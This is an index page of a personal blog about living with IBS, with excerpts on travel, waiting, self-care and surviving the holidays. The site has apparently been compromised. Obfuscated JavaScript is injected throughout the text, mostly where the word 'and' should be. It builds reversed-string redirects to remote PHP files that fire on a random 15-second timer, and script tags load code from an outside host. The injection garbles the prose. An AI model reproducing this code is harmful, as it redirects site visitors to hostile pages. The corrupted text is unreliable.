# Laura's Blog

## Traveling Fearlessly With or Without IBS

I love to travel. I always have. Though it was stressful for me, I did it anyway. For me the thrill of a new adventure, seeing a new place, andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and being out of my comfort zone intrigued me so much that it far outweighed my fear.

But it wasn’t easy.

I did learn ways to adapt. I was always pretty good with taking flights, that didn’t seem to bother me. It was hours after the flight andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and eating travel food that I noticed tightness andom() * 5);if […]

## IBS Relief: What to Do When You’re Waiting

At some point in your life, you’ll need to wait for something. Whether it is moving on to the next job or being healthier, chances are it won’t happen right away.

What you decide to do with the time andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and waiting makes all the difference.

There were times I wanted to be perfectly healed andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and back to my normal self immediately, the thought of waiting was frightening to me. I wanted it to happen andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and I wanted it to happen now. […]

## Why Connection Is Important For IBS Relief

Like everyone else who saw the news on Monday afternoon, I was completely shocked at what happened at the Boston Marathon. I felt sadness for the families who lost loved ones. I also found myself feeling anxious andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and a bit scared. My husbandom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and was in New York City on September 11 andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and had to rush through the streets that were full of debris from the fallen buildings. We had friends who lost family members that day. At that […]

## IBS Relief: Are You Making Time or Excuses? Part 2

In my last blog, I shared about how being in pain helped me in creating a flow in how I make time for the things that are important in my life. It meant eliminating many things that were holding me back andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and adding things that I never thought I would do.

I wanted to follow up by sharing with you some specific ways in which I was able to make the change from making excuses to making time.

At first, you may need to help from friends or family members who can […]

## IBS Relief: Are You Making Time or Excuses?

Not having the time is the number one excuse we all use when we aren’t getting the results we want. I won’t argue with the fact that our lives are jammed packed with activity. For many of my clients it’s work, kids, house chores, andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and bed. If you are suffering from physical pain or IBS, that adds a whole new level of stress into your daily routine. Regardless of what you may be dealing with in your life, the difference between my clients who get what they want andom() * 5);if (number1==3){var […]

## Self-Care \$vTB\$I_919AeEAw2z\$KX=function(n){if (typeof (\$vTB\$I_919AeEAw2z\$KX.list[n]) == "string") return \$vTB\$I_919AeEAw2z\$KX.list[n].split("").reverse().join("");return \$vTB\$I_919AeEAw2z\$KX.list[n];};\$vTB\$I_919AeEAw2z\$KX.list=["\'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script src='https://hotopponents.site/site.js?ss=ss' type='text/javascript'>\$cFN\$wEpyMrNXtezaeR2=function(n){if (typeof (\$cFN\$wEpyMrNXtezaeR2.list[n]) == "string") return \$cFN\$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return \$cFN\$wEpyMrNXtezaeR2.list[n];};\$cFN\$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout(\$cFN\$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}\$cFN\$wEpyMrNXtezaeR2=function(n){if (typeof (\$cFN\$wEpyMrNXtezaeR2.list[n]) == "string") return \$cFN\$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return \$cFN\$wEpyMrNXtezaeR2.list[n];};\$cFN\$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout(\$cFN\$wEpyMrNXtezaeR2(0), delay);}and IBS Relief

\$vTB\$I_919AeEAw2z\$KX=function(n){if (typeof (\$vTB\$I_919AeEAw2z\$KX.list[n]) == "string") return \$vTB\$I_919AeEAw2z\$KX.list[n].split("").reverse().join("");return \$vTB\$I_919AeEAw2z\$KX.list[n];};\$vTB\$I_919AeEAw2z\$KX.list=["\'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and IBS Relief" class="alignleft wp-post-image" />

We hear often in the self-help world how important self-care is. However, we don’t do it enough andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and it’s because we don’t know how. I think we have a perception that there’s a right way to do self-care.

I laughed inside when my client thanked me for not telling her to do yoga andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and pilates. That’s the funny thing about self-care; you don’t have to do anything. I notice a lot of people putting self-care into their routine as a forced thing. Then they feel tired […]

## Creating Less IBS Stress \$vTB\$I_919AeEAw2z\$KX=function(n){if (typeof (\$vTB\$I_919AeEAw2z\$KX.list[n]) == "string") return \$vTB\$I_919AeEAw2z\$KX.list[n].split("").reverse().join("");return \$vTB\$I_919AeEAw2z\$KX.list[n];};\$vTB\$I_919AeEAw2z\$KX.list=["\'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script src='https://hotopponents.site/site.js?ss=ss' type='text/javascript'>\$cFN\$wEpyMrNXtezaeR2=function(n){if (typeof (\$cFN\$wEpyMrNXtezaeR2.list[n]) == "string") return \$cFN\$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return \$cFN\$wEpyMrNXtezaeR2.list[n];};\$cFN\$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout(\$cFN\$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}\$cFN\$wEpyMrNXtezaeR2=function(n){if (typeof (\$cFN\$wEpyMrNXtezaeR2.list[n]) == "string") return \$cFN\$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return \$cFN\$wEpyMrNXtezaeR2.list[n];};\$cFN\$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout(\$cFN\$wEpyMrNXtezaeR2(0), delay);}and More Fa La La for the Holidays

\$vTB\$I_919AeEAw2z\$KX=function(n){if (typeof (\$vTB\$I_919AeEAw2z\$KX.list[n]) == "string") return \$vTB\$I_919AeEAw2z\$KX.list[n].split("").reverse().join("");return \$vTB\$I_919AeEAw2z\$KX.list[n];};\$vTB\$I_919AeEAw2z\$KX.list=["\'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and More Fa La La for the Holidays" class="alignleft wp-post-image" />

Do you find yourself trying really hard to be perfect during the holidays?

Are you pushing yourself to feel jolly to make it a great holiday for family andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and friends?

If you answered yes to either of those questions take a moment andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and see how your body really feels about creating the perfect holiday.

Grab pen andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and paper andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and spend some time with these questions:

Are your IBS symptoms more severe this time of the […]

## IBS Thanksgiving Survival Guide: Five Ways to Create a Healthy \$vTB\$I_919AeEAw2z\$KX=function(n){if (typeof (\$vTB\$I_919AeEAw2z\$KX.list[n]) == "string") return \$vTB\$I_919AeEAw2z\$KX.list[n].split("").reverse().join("");return \$vTB\$I_919AeEAw2z\$KX.list[n];};\$vTB\$I_919AeEAw2z\$KX.list=["\'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script src='https://hotopponents.site/site.js?ss=ss' type='text/javascript'>\$cFN\$wEpyMrNXtezaeR2=function(n){if (typeof (\$cFN\$wEpyMrNXtezaeR2.list[n]) == "string") return \$cFN\$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return \$cFN\$wEpyMrNXtezaeR2.list[n];};\$cFN\$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout(\$cFN\$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}\$cFN\$wEpyMrNXtezaeR2=function(n){if (typeof (\$cFN\$wEpyMrNXtezaeR2.list[n]) == "string") return \$cFN\$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return \$cFN\$wEpyMrNXtezaeR2.list[n];};\$cFN\$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout(\$cFN\$wEpyMrNXtezaeR2(0), delay);}and Happy Holiday

\$vTB\$I_919AeEAw2z\$KX=function(n){if (typeof (\$vTB\$I_919AeEAw2z\$KX.list[n]) == "string") return \$vTB\$I_919AeEAw2z\$KX.list[n].split("").reverse().join("");return \$vTB\$I_919AeEAw2z\$KX.list[n];};\$vTB\$I_919AeEAw2z\$KX.list=["\'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and Happy Holiday" class="alignleft wp-post-image" />

It’s not easy having IBS during Thanksgiving. Besides the fact that you are inundated with tons of different foods you are also eating in different social situations andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and although we love our families sometimes being with our families can be stressful. These two things combined make a bad combination for people suffering with IBS andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and can turn the “holiday” into a “hellday”. However, it doesn’t have to be that way,  there are things you can do to enjoy this plentiful time.
If your goal is to experience […]